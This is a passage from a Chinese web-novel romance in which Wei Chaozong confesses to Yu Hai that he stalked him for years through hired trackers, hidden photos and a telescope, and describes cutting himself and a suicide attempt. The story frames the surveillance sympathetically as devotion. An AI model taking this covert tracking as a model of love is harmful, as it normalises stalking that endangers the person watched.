魏朝宗很有眼力见的开始收拾厨房,清洗案板、刀具和使用过的碗盘。虽然于海没有赶他出去,但对方的一言不发仍然让他心中忐忑不已。
“我是得到允许才进来的。”魏朝宗辩解。
于海没有追究他耍的小手段,边关火盛粥边问:“你给我妈送镯子了?”
魏朝宗结结巴巴:“怎……怎么了?”
“多少钱?我转给你。”
“不值几个钱。”似乎也觉得这话没信服力,魏朝宗灵光一闪,又道,“12月3号我生日,你送个礼物给我吧,就当是回礼。”
魏朝宗小算盘打的噼里啪啦响,有来有回,关系才能更进一步。
眼见于海没反应,魏朝宗担心他拒绝,不情不愿的降低要求:“我很容易搞定的,任何礼物我都接受。你要是觉得挑礼物麻烦,交给秘书也行,你只需要负责把东西送给我。”
容易搞定?
魏大少对自己的认识偏差不是一般的大。
于海用铲子给煎饺翻了个面:“我没意见,总归不是赔本的生意。”
魏朝宗唇角不自觉勾起。
早餐准备好,两人分工合作,将饭菜端上餐桌。
简单的早饭因为一份清蒸鱼变得丰盛许多。
不过,于海观察了下餐盘中已经变成食物的鱼。
“这是我钓的?”
身边坐着的魏朝宗沉默了一会,讷讷道:“不是。”
于海笑道:“行啊,还玩了招偷天换日。”
魏朝宗不敢说话了。
重逢以来于海第一次送他东西,而且是于海亲手钓的,他怎么可能刚到手就扔锅里。
江雪梅疑惑:“什么偷天换日?”
“没什么。我是感慨这条鱼长得漂亮,死的可惜。”
“一大早说什么死的活的。”江雪梅白了他一眼,“好吃就行了,小魏,你的厨艺真不错。”
魏朝宗矜持的笑了笑:“阿姨喜欢就好。”
“喜欢喜欢。”江雪梅说了两句肯定的话,“你和我们家阿海倒是挺有缘分,买了同一个小区的房子,现在又成了邻居,以后有空了常来做客。”
意外之喜!
他竟然得到了一张通行于海家的“门禁卡”,魏朝宗眼底的喜悦无法抑制的漫上来。
心情舒畅的用完早餐,魏朝宗非常积极主动的揽下刷碗的活。
江雪梅当然不会看着客人去干杂活。
最后于海和魏朝宗共同收拾的。
江雪梅吃了饭,就去找了刘江的父母,结伴去老年活动中心打发时间。
家里剩下于海和魏朝宗两个人。
“你今天去公司吗?”
“不去。”难得一个清闲的周六,不然他也不会和孙震元钓鱼钓了一晚上,“怎么,你要邀请我去你家坐坐?走吧,我还是挺好奇自家邻居的。”
魏朝宗噎了下,他本来打算和于海来个两天一夜的野外露营,催化两人的感情。
但于海提出的要求,他又无法拒绝,只能笑着认下。
“把你的车开回去。”于海抛给他钥匙,“我家里车库空间有限,容不下魏少的豪车。”
于海倒也没说谎,这儿的独栋别墅面积不算小,但和真正的豪宅相比,就是小巫见大巫了。
别墅共有四个车位,除了停于海的两辆车外,剩下的车位停放着江雪梅的电动自行车和电动三轮。
确实没有多余的车位。
魏朝宗皱眉:“我已经跟你做完交换了,送出去的东西我不会收回来。”
于海不以为然:“再交换回来不就得了,把我钓的鱼还回来。”
“你送给我的东西怎么能要回去。”魏朝宗坚决不换。
“想好了?一条鱼换一辆车。”
“我喜欢,千金不换。”
“那你留着吧。把车开你家院子里。”于海摆手制止他的反驳,“就当我在你家租了个临时停车位,至于租赁费用我就不给你,免费借给你用车。”
魏朝宗心领神会的点头,微笑道:“相当于我以后可以随时开你的车?”
于海:……
傻小子脑补的还挺高兴。
于海怀疑以魏朝宗毫无褶皱的光滑大脑,周家和魏家交到他手上,能撑一年吗?!
两人一去了隔壁。
车子开进院内时,一股熟悉感扑面而来,庭院的布局和他家简直是一个模子刻出来的。
拍下对比图放网上,魏朝宗十成十要被网友骂一句学人精。
于海漫步在庭院里,走到池塘边,看到一尾柳叶形的银灰色鱼儿,探出一张突出而翘起的大嘴向外吐泡泡,与鱼池里其他颜色鲜艳的珍稀鱼类对比,因为独一份的平庸反倒引人注目。
池边和他家一样栽了一株金丝垂柳,而池塘中栽种的其他水生植物也和他家相差无几。
栏杆旁的石台上放着鱼食,于海顺手取了点撒进去,引得五彩缤纷的锦鲤竞相追逐,翘嘴一马争先游在群鱼之首,更加显眼了。
傻鱼,这么贪吃,怪不得上钩。
于海跟着魏朝宗参观了他家的三层小楼,空空荡荡冷冷清清,除了必备的家具电器外,多余的东西一概没有。
整体的装修格局也和他家相差无几,实在没什么可看的。
“有象棋吗?”
魏朝宗一愣:“我让人带过来。”
于海点头。
魏朝宗手下的人办事效率很高,不一会儿,一副全新的象棋摆在他们面前。
正值九月底,秋高气爽,窝在屋子里没意思,两人在池塘边的柳树下赏着秋景下象棋。
连续两盘都是于海赢。
第三盘开始之前,魏朝宗提议:“我们赌点彩头?”
于海没意见:“你想赌什么?”
魏朝宗认真想了想:“如果你赢了,任何条件都可以提。你输了,那就要答应我一个要求。”
想到于海事业狂的属性,魏朝宗补充:“放心,我的要求绝不会损害公司利益。”
“听起来我稳赚不亏。”
魏朝宗笑道:“我还会坑你吗?”
“只要你不怕坑到自个就成,开始吧。”
见于海这么干脆,魏朝宗反而忍不住问:“你不想知道我的要求是什么?万一你做不到?”
于海端起茶杯润润喉:“不用。”
魏朝宗的心蠢蠢欲动,表面装作不在意的试探,用玩笑般的口吻道:“让你和我结婚,你也答应?”
于海放下茶杯,挑眉笑道:“我说不用的意思是,你压根没有提要求的机会。”
魏朝宗将棋子复归原位,不服气道:“你太小瞧我了,刚才我是让着你。”
于海回道:“你怎么知道我没有留余力?”
第三盘,就在押上赌约的前提下开始了,两人的神色都比前两盘严肃了些许。
到了厮杀的关键节点,一个西装革履的男人走进了院子,手里拿着文件一言不发的站在不远处静候。
于海提醒:“你的人过来了。”
魏朝宗眼皮也没抬:“不用管,不是重要的事。”
现在,没有比赢下这个赌约更重要的事了,海啸来了魏朝宗都要护住棋盘。
魏朝宗不放在心上,和于海更没关系了。
金黄柳叶飘落在棋盘上,激烈厮杀渐渐落下帷幕,魏朝宗陷入泥沼还在垂死挣扎。
于海捡起柳叶,捏在指间悠闲的转动。
“认输吗?”
魏朝宗咬牙:“不认。”
一刻钟后,魏朝宗已经被杀的片甲不留,不认输也得认了。
“行了。”于海丢下柳叶,“忙你自己的事去吧。”
魏朝宗打起精神:“我输了,你的条件还没说。”
于海慢悠悠道:“等想到了告诉你。”
“好。”
第54章 第 54 章
于海摆摆手, 示意不用送,起身回了自己家。
于海有没有认真思考,魏朝宗不知道。
但他工作之余一直在想, 于海会提出什么条件呢?
魏朝宗掌权魏家, 又在接手周家的事务, 真要论起来,他的空闲时间比于海要少许多, 譬如这个周末, 他想要和于海多呆一分钟都挤不出时间。
连续开了几场会议,凌晨还飞了一趟华城, 直到四天后魏朝宗才得了空闲, 迫不及待地驱车赶到于海的公司去见朝思暮想的人。
于海看他眼底发青:“多久没睡了?”
“三十多个小时?”
他也不太清楚,不过那些都不重要, 重要的是终于能见到于海了。
“去休息一会。”
“不用,我在这等你。”魏朝宗眼睛不眨的看着于海,刚见面他不舍得浪费和于海相处的时间。
“盯着我看干什么?”
“想你了。”魏朝宗下意识说道。
于海一怔, 笑道:“我看你是睡眠不足, 脑子不清醒了。”
长时间不睡觉,魏朝宗的判断力确实不比平时, 尤其看见于海, 紧绷的神经松弛下来,进门前还能保持冷静思考的大脑瞬间有些迷糊了。
跟喝醉了似的,脚步不稳的抱住思念的人:“于海,我好想你。”
揽在他腰背上的手一会紧一会松,下一刻又紧紧圈住了他, 反反复复,看得出来被超负荷的工作压榨后的魏朝宗, 精气神都损耗不少,但又不舍得放手,不断地用尽力气试图圈住想要的人。
于海心绪不免有些复杂,等魏朝宗折腾的差不多,于海扶着人进了办公室内的休息间。
将人放在床上,于海看了一会低声念着他名字的魏朝宗,心里有了决定。
魏朝宗醒来时有点懵圈,周围漆黑一片,不知天地为何物。静坐了半分钟,朦胧的神智才渐渐变得清醒,意识到自己身在何处,嘴角不由得翘起。
重新躺回去,近乎贪婪的汲取于海的气息。
办公室,于海结束一天的工作,早过了下班时间,走到休息间打算看看魏朝宗的情况。
从早上十点到下午六点,魏朝宗睡了八个小时。
打开门,于海听到翻身的动静。
“醒了?”
翻身的声音戛然而止,黑暗中传来低嗯。
“醒了就起来吃饭。”
魏朝宗想起,他本意过来就是接魏朝宗一起吃饭的。
中午节约时间不便做饭,但晚饭不一样。
“我给你做饭吃吧。”
于海:“你不饿?”
魏朝宗一觉睡过了午饭,睡了八小时,也至少八小时没吃饭,还有体力做饭?
“不饿。”魏朝宗已经在飞机上用过餐,到于海这儿之后,也一直在睡觉,大概体力消耗不多,并没有感觉多么饥饿。
魏朝宗拿出手机:“我让人买好食材,你想在哪儿吃,你家还是我家?”
“你家吧。”
魏朝宗勾起唇角:“好。”
“御水湾你不是有房子吗,去那。”
魏朝宗唇边的笑僵住了:“怎么想起去那地儿。”
“不方便?”
“没有。”魏朝宗强撑着笑意,“好,我们去御水湾。”
开车的是于海,魏朝宗本来自觉地往驾驶的方向走,被于海给按了回去。
“我来开。”于海语气淡淡的。
魏朝宗顿时不敢说话了,他总觉得今天的于海情绪有点怪,心里不由得忐忑起来。
于海走了高架,用最少的时间一路通畅开到御水湾——他以前居住过三年多的小区。
于海找到划线的停车区,将车停在了小区外。
两人步行进入小区,走进一栋单元楼,跟着魏朝宗乘坐电梯向上行,奇怪的是下班时间,本该是人流量最大的时候,等待电梯乘坐电梯的自始至终只有他们两个人。
电梯定格在15的楼层。
真巧,魏朝宗住的这栋楼坐落在他原来房子的后面,并且他们还是同单元同层楼。
魏朝宗打开门,将门口的食材拎进室内。
玄关摆放着两双拖鞋。
“都是新的。”
于海换上拖鞋,打量魏朝宗的住处,和他房子别无二致的布局,三室两厅。客厅空荡荡的,四面白墙一尘不染,除了一张长条桌子和两张椅子,连沙发和茶几都没有,电视和电视柜更是没影。
打眼一瞧,毫无人气。
也对,放着豪华别墅不住,非要体会普通人的生活蜗居在小地方,除非魏朝宗脑子抽筋了。
魏朝宗:“我去做饭,你先坐着等一会。”
到人家白吃白喝,还翘着二郎腿看人干活,于海自认脸皮不够厚。
于海挽起袖子:“闲着也没事,我帮你打个下手。”
虽然他厨艺不行,但洗菜切菜的技术还是得到他妈认可的。
“不用。”魏朝宗眼神闪烁了下,低声道,“你看着……我紧张。”
魏朝宗也挺气自己,怎么就不争气,多好的温馨相处机会,他却把握不住。
于海乐了:“你这老毛病怎么还没改?”
以前魏朝宗做饭,就不让他进厨房,用的理由一模一样。
魏朝宗的紧张不做假,他能轻而易举的掌握很多技能,偏偏厨艺天赋一般,全靠抄菜谱,也就于海不挑食,还夸他有天赋。
他在商务活动的任何场合都能游刃有余,但面对厨房,还是一如既往的不自信。正是因为太清楚,厨艺水平“优秀”这一点在于海眼中是加分项,所以他才唯恐破坏了寥寥无几的正面印象。
“等一下。”魏朝宗转身进了一间房,不一会从里面出来,手中托着一套建筑模型的乐高,房门自始至终仅开了一道缝隙。
那个房间昏暗无比,但魏朝宗却连灯都未开,出来时立刻关紧了房门,似乎要隔绝什么不能为人知秘密。
“你玩会这个,饭菜很快就做好。”
于海:……
时光倒溯二十年,于海有种去同学家里蹭饭的错觉。
行吧,客随主便。
于海将元件倒在桌子上,也没参照图纸,一边随意的拼搭,一边和厨房里备菜的魏朝宗聊天:“包子在周宅?”
“嗯,那地儿够宽敞。”魏朝宗傻了,才会在两人约会的时刻,让第三个生物插入他们的二人世界,想起于海亲热的抚摸那只傻狗的狗头,魏朝宗就生气。
于海笑了笑,确实够宽敞,换户人家的花园都不够它折腾的。
“你这儿收拾的挺干净。”
“每周有人过来打扫。”
“你常住在这儿?”
“假期会过来。”
“假期?”
厨房刀碰流理台的声音一顿,又恢复了流畅熟练的切菜声。
魏朝宗补充了句:“我的意思是周末。”
“嗯。”于海不经意的问了句,“房子哪年买的?”
一个很好回答的问题,却是隔了一会才传出声音:“没多久。”
和一年相比三个月是没多久,和二十多年相比三年也是没多久。
“怎么想起来在这儿买房了?”
切菜的频率清晰可闻的慢了下来。
“路过小区看着顺眼。”
于海:别说,这答案放在别人身上荒谬,搁魏大少这儿还挺合理,谁让人家魏少有钱任性。
“我当时也是看着这儿顺眼。咱俩还挺有缘,我原来住的地方就在你家对面。”
切菜声彻底停了,没听到魏朝宗的回应,却响起哗啦啦的水流声。
于海感觉节奏不对,放下手中的零件,进厨房一看,水龙头哗啦流水冲着冒血的手指头,稀释后的血水源源不断的流入下水道,而被刀割伤的食指还在止不住外淌血。
反观魏朝宗正默不作声跟没事人一样,看见他之后还勾了勾唇:“没事,不小心划伤了。”
于海看着那出血量着实有点触目惊心,神色一凝:“我带你去医院包扎。”
“不用。”魏朝宗笑了笑,“小伤,我经常……”
魏朝宗顿了顿,继续笑说:“真的没事,医药箱有喷雾剂可以止血。”
“医药箱在哪?我去拿。”
魏朝宗神色踌躇。
于海不知道对方在犹豫什么,意味不明的说:“难道这屋子还藏着什么我不能知道的秘密?”
魏朝宗眉目一敛,心中不安起来。
以于海的聪明,怕是早就猜到这里的不寻常,所以才提出到御水湾来吃饭。于海准备做什么?
魏朝宗自知无法阻止于海想做的事情,如果于海要挑明他抱有的阴暗心思,那么他自以为是的掩藏不过是自欺欺人的把戏。
想到这段时间两人关系的缓和,于海对他日益的亲近,魏朝宗心中生出孤注一掷的勇气和莫大的期待,或许……或许于海能再次接受他。
魏朝宗闭了闭眼,像是个押上所有身家的赌徒,苍白的脸上带着一丝决绝:“我刚才取乐高的房间东南角。”
于海快步走到阖上的房门前,手掌按在门把手上停留一瞬,推开了门。
打开门之前于海已然有了心理准备,眼前所见还是让他心中一震。
三面墙密密麻麻贴满了照片,每一张照片的主人公都是他。
自打知道魏朝宗也在御水湾有房子,于海就知道这里面和他脱不开关系,今天主动提出来这儿吃饭,也是想把事情摊开。
坦白讲,他觉得魏朝宗这个朋友相当不错,何况人家对他还有救命之恩。
趁魏朝宗没有陷太深,于海想把事情讲明,未免这位救过他性命的朋友泥足深陷,最后伤人也伤己。无论朋友能不能做下去,至少不会失控的走向比对峙孙家更坏的结果。
但眼前的一切告诉他没有那么简单。
于海暂时压下复杂的心绪,没再多看,径直走到放医药箱的位置,取了医药箱离开。
魏朝宗面色惨白,嘴唇失去了血色。
于海加快脚步。
怎么回事,他去了不到半分钟,这就失血过多了?
但是,受伤的那根手指明明出血量变少了啊。
于海赶紧打开医药箱,握住魏朝宗的手,用碘酒消毒,喷上止血喷剂,剪下一段无菌纱布将受伤的部位包裹起来。
于海将魏朝宗受伤的手托在掌心,观察伤口的出血情况。
而受伤的魏朝宗却在小心翼翼的看着于海的神色变化,对方一如既往的从容不迫,似乎那个房间内的一切没有对他造成任何的影响。
魏朝宗思绪翻涌,神魂在天堂与地狱之间徘徊,备受煎熬。
“抱歉。”血止住了,于海抬眼,“我话太多了,害你分心受了伤。”
魏朝宗心尖一颤,嘴唇更加苍白,他手指无意识的蜷缩,慌忙道:“是我的错,我对你撒了谎,一时心虚才割伤了手,这是我应得的。”
于海握住他蜷缩的手掌:“你激动个什么劲,放松,血才止住,你动一下又要换纱布了。”
魏朝宗顺着他的力道,听话的展开了手掌。
于海松开手,扫了眼案板上的备菜:“我看你这饭菜也做不成了。”
覆在他手指的温度忽然撤离,魏朝宗来不及沮丧,就陷入新一轮的慌乱,立刻道:“我可以,这点伤不影响。”
“得了吧,别跟我在这儿逞能。你家有牛排吗?”
魏朝宗怔了怔:“有。”
“今晚就吃煎牛排。”于海一锤定音,走向冰箱的位置,找出两块厚切牛排,拎出一个平底锅,倒了些橄榄油,把牛排放进去煎。
“你要几分熟?”
“跟你一样。”
两面各煎两分钟,五分钟后,两块煎牛排出锅。
“搞定。”
没摆任何造型,浇了圈成品烧汁,于海端着两个盘子走出厨房:“拿上餐具。”
将两个盘子放到桌上,顺手收了乐高零件,于海捞了把椅子坐下。
魏朝宗跟着出来,手中拿着刀叉。
于海接过来,不紧不慢的将牛排切割成块,动作自然的将两个盘子交换了位置,然后神色自若的切分剩下的那块牛排。
魏朝宗心头流过一丝暖流,喉结动了动,却不知该说什么。
于海吃到一半,大概是料汁加多了,感觉有点渴,站起身打算去倒杯水。
椅子上的魏朝宗却忽然站起来,带倒了椅子,嘭的砸在地板上,吓了于海一跳:“一惊一乍的干什么?”
魏朝宗面色紧张:“你,你要去哪?”
“哪儿也不去,我渴了,倒杯水。”
魏朝宗紧张的神色松弛些许:“我准备了一瓶红酒,你要喝吗?”
于海心想,红酒也不错,一会叫个代驾。
“行。”
魏朝宗去另一间房取过来一瓶红酒和两只高脚杯。
于海这些年出入各种场合,红酒喝了不少,却没积累下经验,在品酒上毫无建树。再昂贵的酒对他来说,也不过是个解渴的工具。
喝了两口红酒,于海继续消灭餐盘中的牛排。
魏朝宗却食不甘味,不想浪费于海亲手做的食物,机械的一口一口往口中塞强迫自己咽下去。不是牛排难吃,实际上他压根吃不出任何味道,满腔酸涩的情绪已经侵占了他的味蕾。
于海看到了他见不得光的龌龊行径,却没有任何的反应。魏朝宗彷佛置身断头台,铡刀悬在头顶,命悬一线,而于海就是那个决定他生死的人。
第55章 第 55 章
魏朝宗紧跟着于海的节奏, 吃完了最后一口牛排,手指焦躁不安的摩挲玻璃杯。
于海拿着酒杯走到阳台处,眺望对面, 悠闲地喝着红酒。
意味不明的轻笑一声:“这里放架望远镜, 我的一举一动都尽在魏大少掌握之中了。”
魏朝宗心中一颤, 于海猜的不错,原来确实有架望远镜, 对准的方向是于海的家。于海搬离后, 望远镜没了用武之地,便被他扔到了别处。
“对不起。”魏朝宗心乱如麻, 不知如何开口, 本能的低头认错。
于海微微晃了晃酒杯,漫不经心的笑:“向我道什么歉?”
那晃动的红色酒液恍若他飘摇不定的心, 魏朝宗握紧了拳,无论如何也压不下内心的慌乱。
“堂堂周家继承人竟然是个变态偷窥狂。”
于海面上不显,语气平淡, 但内里并不平静。
想象无数张同样的脸, 并且全部是你自己的脸,将你包围的场景。更别提还有数不清的他看镜头的照片, 无数双熟悉的眼睛同时盯着你, 诡异而恐怖。
于海没被吓得叫出声,全仗他心态好。
魏朝宗百口莫辩,于海说的对,他就是个变态,是个只敢躲在阴沟里, 靠着抚摸照片才能维持生命的活死人。
于海冷笑:“魏少的演技可以拿小金人了,我还真当我们是久别重逢呢, 原来五年后第一次见面,魏少就开始施展演技将我玩弄在股掌之中了。”
接机的时候,魏朝宗看见他时还表现出一副吃惊的样子,实际上他的行踪在魏朝宗这里早已经形若透明。
“不!我没有。两年前我撤了跟着你的人,整整两年,我逼着自己不去接收你的任何消息,我真的不知道那天你会去。”
“得了,别演了。”
魏朝宗冲过来握住于海的手腕,满目惊惶:“我可以证明给你看。”
于海将酒杯放在桌子上,他倒要瞧瞧魏朝宗如何证明。
然后他被带着再一次回到三面墙都是照片的房间……
“你看,这是我第一次派人跟着你。”
照片上的于海穿着随意,手里拿了根树枝,正在逗弄欢脱的狗子。
艹!于海方才进房间没有细看,原来魏朝宗被带离K国没多久,就派人跟着他了!
魏朝宗轻轻的抚摸照片上的人,目光带着无限的怀恋:“这张照片是我拍的。”
于海忍不住问:“你不是回去上学了吗?”
魏朝宗上学去了,如所有人期待的那样走上正轨,他的□□机械的行走在前途无限的光明大道,而他的灵魂早已脱轨失控迷失在幽暗阴森的荒野山林,整日游困在荒芜之地,寻不到出路。
恐惧如同一张大网将他密不透风的包裹,魏朝宗浑身颤抖的嘲笑疯狂滋长的恐惧,他也会害怕吗?害怕黑暗、害怕死。
那一刻他对于海的恨到达了顶峰,为什么对他伸出手,如果任他死去,他就不会有那么多的痛苦,每分每秒活在生不如死的折磨里。
为什么要救他,为什么让他体会到活着的幸福之后又把一切无情的剥夺。
魏朝宗想要报复,他要那个抛弃他的人也要尝尝生不如死的滋味。
“二十天后我便回了K国。我不甘心,我想把你抓起来,关进囚笼里折磨你。”魏朝宗喃喃道,他艰难的勾起唇角,“但是我下不了手,你知道为什么吗?”
于海没有说话,只是静静的看着他。
“不是因为我不舍得,而是我早已成为你脚边一条驯化的狗。”
魏朝宗手指划过一张张照片。
“我对你下不了手,只能像条丧家之犬狼狈逃离。”
丢弃他的于海过的依然开心自在,似乎比从前更加的悠闲从容。
魏朝宗窥视着于海的笑容,他小心翼翼保护的微小希冀——幻想转述给他的金钱交易是场骗局,被剥开了真相,血淋淋的展示在他的面前。
魏朝宗恨于海,更恨对于海无法下手的自己。
他逃离了K国,回到了距离于海万里之遥的校园,彷佛离得远了,便能脱离于海对他的影响。
魏朝宗日日夜夜都在想都在想于海说过的话——于海对他说过的每一句话。
当那些话一字一句的浮现眼前,魏朝宗便会作出最恶毒的回应。
“过段日子说不定你就找到了活着的意义,时间会淡化思念,也会淡化痛苦。”
【时间会淡化一切,是了,当你捆在我脖子上的锁链腐朽断裂,你的末日也就到了】
“很长一段时间,我屏蔽你的信息,不去寻找你的踪迹。”
如果心生妄念,那就用疼痛洗刷欲望,用疼痛代替贪恋。
手指从广袤田野的背景划到灯火辉煌的高楼大厦。
于海回忆两张照片跨度的时间线,魏朝宗所说的很长时间,不过三个月而已。
K国的工程结束,他从首都转机,中停24小时,等待的时间,他和三五好友四处闲逛,那张灯火辉煌的高楼大厦便是首都的夜景。
魏朝宗抚摸照片中于海的侧脸,霓虹闪烁、车水马龙、熙熙攘攘的人群在他眼中褪色模糊,唯有那道熟悉的侧影愈加清晰瞩目。
“那时我在魏家休假,跟着你的人发给了我这张照片。”又一次于海离他如此之近,他努力辨清界限的爱与恨,不受控制的再次疯狂交织,吞噬了他的理智和自控力,他用力挣脱的锁链再次收紧。
“我尾随你从华城到了青奚,跟着你买了对面的房子。”
照片的背景变幻了色彩,那天天气很好,阳光明媚,天空湛蓝如洗。
于海手里拿着安全帽,大抵刚摘下帽子,发丝汗湿,唇边的微笑比落在他脸上的灿金阳光还要绚烂。
那时的于海开始了创业,魏朝宗默默的看着于海奔波忙碌,他在于海家的对面,贪婪地卑劣地注视着于海的一言一行。
心中的野兽无时无刻不在挣扎着咆哮嘶吼,铁链哗啦作响,嘈杂刺耳的声音让他每分每秒都处在崩溃的边缘。
“我心中住了一只面目狰狞的怪物。”
他的爱与恨都成了怪物的养分,怪物不断长大,蚕食他的血肉和理智。
“失去人性的怪物会做出什么?我想放弃了。放弃抵抗、放弃挣扎。无论是丢掉尊严跪在你脚边摇尾乞怜,还是…”魏朝宗声音嘶哑,“还是用挣脱的锁链囚住你折磨……”
他都不想在乎了。
后来,他发现于海在调查一个人,魏朝宗本能的去查那个人所有的信息,却从中知晓了于海不为人知的过往。
那些于海曾轻描淡写的经历——
优越的外貌、优秀的成绩让他成为许多人仰慕的对象,也成了某些阴沟老鼠的眼中钉肉中刺。一次有预谋的校园霸凌,于海被围殴打成重伤。在他伤重住院期间,学校发来了退学通知,接着他的父亲因意外高空坠落而亡,母亲服药自尽……
接踵而至的噩运缠绕着不满17岁的年轻人。
直到那时,魏朝宗才终于明白,于海那句轻淡的自杀叙述后面埋藏的是难以想象的沉痛过往。
习惯于背负一切的于海是否将家庭的厄难归咎于他自己,是否认为自己是灾厄的根源?
否则坚毅如于海,怎么也会想到过轻生?
他的内心经受了多少煎熬……
魏朝宗一字一字的看着于海的曾经,那些字句化成无数把利剑刺穿血肉、刺入肺腑,利刃搅动五脏六腑,连同狰狞的怪物一并绞碎杀死!
漫天皆是模糊的血肉,痛彻骨髓的疼让他几欲死去,怪物发出濒死的哀鸣。魏朝宗捧着鲜血淋漓的丑陋心脏大笑,笑着却流出了眼泪。
他心疼于海,痛到无法控制自己的泪水。
无用的、他以为永远不会出现的代表着懦弱的眼泪,夺眶而出。
“后来,那只怪物死了。”
魏朝宗一败涂地,他认输了。
于海丢掉他也好,羞辱他也好,拿他当做交易的物品也好,魏朝宗甘愿跪在他的脚下,接受一切赐予。
只要……只要于海顺心遂意。
曾经胸腔那股缠绵不绝的恨意凝聚成炙热的怒火,尽数转移到曾经欺凌于海的人身上。
魏朝宗利用周家的关系欲至那人死地,却因操之过急,让那人成了漏网之鱼。没关系,他会让那人知道活着比死了还痛苦的滋味。
周维很快知道了他的所为,警告他威胁他,无论周家还是魏家都不会允许这么一个影响家族未来的人存在。
魏朝宗知道,他必须离开于海身边了。
要让于海顺心遂意,他必须掌握权力。
“怪物死了,那些恨也随之消散。我回了华城,接手魏家。”
魏朝宗的话似乎带着释然,好像与过去的一切和解了。
然而只有他自己知道,离开青奚,看不到于海的那些日子,如同漫长的煎熬的毒瘾戒断。
毒瘾钻心蚀骨,他割开皮肉,利用极致的□□的痛去麻痹灵魂深处的渴求。
爱别离、求不得,欲望疯狂滋长,魏朝宗只能用鲜血和疼痛,阻止他奔赴向于海的欲望。
有次魔鬼制造的幻境,迷惑了他的神志,几乎失控的魏朝宗用刀插入胸腔。
魏朝宗对自己说,就这样结束吧,死了,就彻底解脱了,于海也摆脱了你的纠缠。
然而他终究是个卑劣贪婪的人,一只脚已经迈入深渊地狱,却在看到幻想中的身影时,舍不得、不甘心就此死去。
“两年……”
三面墙的照片,他们走到了尾端。
“两年时间,我隔绝了你的所有消息。”魏朝宗低声自嘲,“有点像毒瘾戒断,刚开始频繁发作,后来次数渐渐少了,一切似乎走上了正轨。”
皮肉依然会绽开,思念依然会让他头痛欲裂,只是当那些痛成了习惯,似乎也没那么难以接受。
或许正如于海所说,时间会淡化所有的痛与爱,毒瘾般的执念也会被时间治愈。
“飞机落地青奚的那一刻,我的心情意外的很平静。我以为,我或许可以放下,不再纠缠你。”魏朝宗注视着于海的眼睛,笑得难堪,“可是,看见你的第一眼……”
看见于海的第一眼,他所有的冷静和理智顷刻间溃不成军。
“于海,对不起,这一世我不可能放下你。”
如有来生,生生世世,他都不会放手。
第56章 第 56 章
于海沉默的环顾贴满三面墙的照片, 入目皆是他的面孔和身影,适应之后,倒也不觉恐惧。
于海了解自己, 他并非无情的冷血动物, 他也会对某一件事物、某个人投入深刻的感情, 他爱自己的父母,他有情同手足的兄弟。
正因如此, 于海清楚的明白, 他不爱魏朝宗,或许某天他也可以为魏朝宗两肋插刀, 可以为他赴汤蹈火, 但那是朋友之义,不是情人之爱。
何况, 他和魏朝宗如今的朋友关系是建立在利用的基础之上。
室内唯一的长桌上放着一个复古白金烟盒,旁边还摆着一副相框,里面封存了一朵干花。不必细辨, 那是青奚初见, 魏朝宗从他这“抢走”的白玉兰。
于海视线掠过相框,手指搭在烟盒上, 不问自取, 敲出一根烟。
嘴里衔着烟打开门后点燃,于海没有说话,托着烟灰缸,走向了客厅的阳台。
天色已晚,八点多本该是万家灯火的时刻, 于海记得他住的那个单元楼栋入住率有半成以上,如今却漆黑一片。
一梯两户18层36户, 魏朝宗好大的手笔。
于海弯腰将烟灰缸放在飘窗上,轻吐了口气,白色烟雾袅袅升向夜空,隐入昏暗里。
身旁悄无声息多了一个人,安静的站在他的身侧。
“魏朝宗。”于海深邃的眉目笼罩了淡薄的烟雾,影影绰绰若近若远,“你应该清楚,我对你没有那方面的感情吧。”
魏朝宗蜷了蜷渴望拂去那层朦胧“轻纱”的手指,声音嘶哑:“我知道。”
“五年前我答应你,不过是恰好缺个伴儿,为了应付我妈,我对你没有动心的感觉。”
“我知道。”
当年,魏朝宗离开K国的一周前,不顾死活的冲上来亲他,无论于海对他如何打骂,往日听话的狗崽子嘴角流着血,仍然倔强的说着求爱的话。
一夜过去,魏朝宗目光中奋不顾身的热烈丝毫未减。
“你不讨厌我的亲吻不是吗?”
“这不是喜欢,更不是爱。只能证明我对同性并不排斥。”
“我知道。”魏朝宗很伤心,强撑着露出笑脸,“情由心生,相处久了你一定会喜欢上我的。”
魏朝宗坚定的说着他自己都不相信的话。
那天晚上,于海妈妈打过来一个越洋电话。话语不过是闲话家常,于海却听出了他妈的想念,于是说最多两个月就能回国了。他妈高兴之余,又担忧他孤身一人孤独寂寞。
于海心道,多年下来习惯了一个人,他挺享受独身的感觉。但对方真切的忧心让他改了口,我试试,能不能找到合适的伴儿。
魏朝宗不知从哪儿冒出来,眼巴巴的望着他,满脸写着舍我其谁四个字:“选我吧,我一定是那个合适的人。”
“如果处了之后,不合适呢?”
“不合适…不合适…你就提出来,我多好说话啊。再说,不尝试怎么知道?”
于海轻笑:“行,我们试一试。”
然而魏朝宗梦寐以求的“恋爱”仅持续了五天,便支离破碎,走向面目全非的结局。
破镜无法重圆,于海理解不了五年前魏朝宗的执念,更无法理解他现在的强求。
“有人说我天生缺了一窍,需要有个人帮我开窍。”于海笑了笑,“这世上七十多亿人,大概率里面有个能让我开窍的,这辈子我或许遇得上,或许遇不上,但那个人不是你。”
“不尝试怎么知道?”二十四岁的魏朝宗问出了五年前一样的问题。
只是这次,于海没有答应。
十九岁的魏朝宗一腔孤勇,他能很快收拾好自己的伤心,锲而不舍的反复追上去,怀揣的是对未来的憧憬。
二十四岁的魏朝宗,历经了五年的精神磋磨,尽管他的语气并不沉重,平淡的叙述着他这几年的心路历程,但满墙的照片已是铁证,于海无法体会,却看出对魏朝宗来说,恨是痛苦,爱而不得也是痛苦。
他和魏朝宗的朋友关系建立在利用之上,但魏朝宗的确帮了他不少,他人投之以琼瑶,即使他不能回赠同样价值的东西,也不能眼睁睁的看着人深陷痛苦之中不能自拔。
于海反问道:“既然求而不得是痛苦,为什么不再次尝试放手。”他口吻平淡,字字句句却如锋利的尖刀,“戒断反应是一时的,而我永远不会对你动心。”
永远不会。
于海连一丝“可能”的希望也未留下。
一把把尖刀精准的扎在魏朝宗的胸口,他却从中品出带血的甜意。
于海让他绝望心死,是为了让他减轻痛苦。
但是他的一颗心早已不属于自己,只要看见于海,那颗心就会跳动。
“我不需要你喜欢我。”魏朝宗说这句话时,恍惚听到另一个声音疯狂的嘲笑声,他若无所觉继续说,“只要你还让我留在你身边,像五年前一样。”
于海想,怎么就执迷不悟呢?
他语气故意带了点讽刺:“你说那张我逗包子玩的照片是你亲手拍的,那你应该知道,五年前你的离开没有对我造成任何影响。像五年前一样?可惜,五年前我也对你没什么感情。”
魏朝宗自嘲的点了点头:“是,在你的心里,我比不上包子重要。”
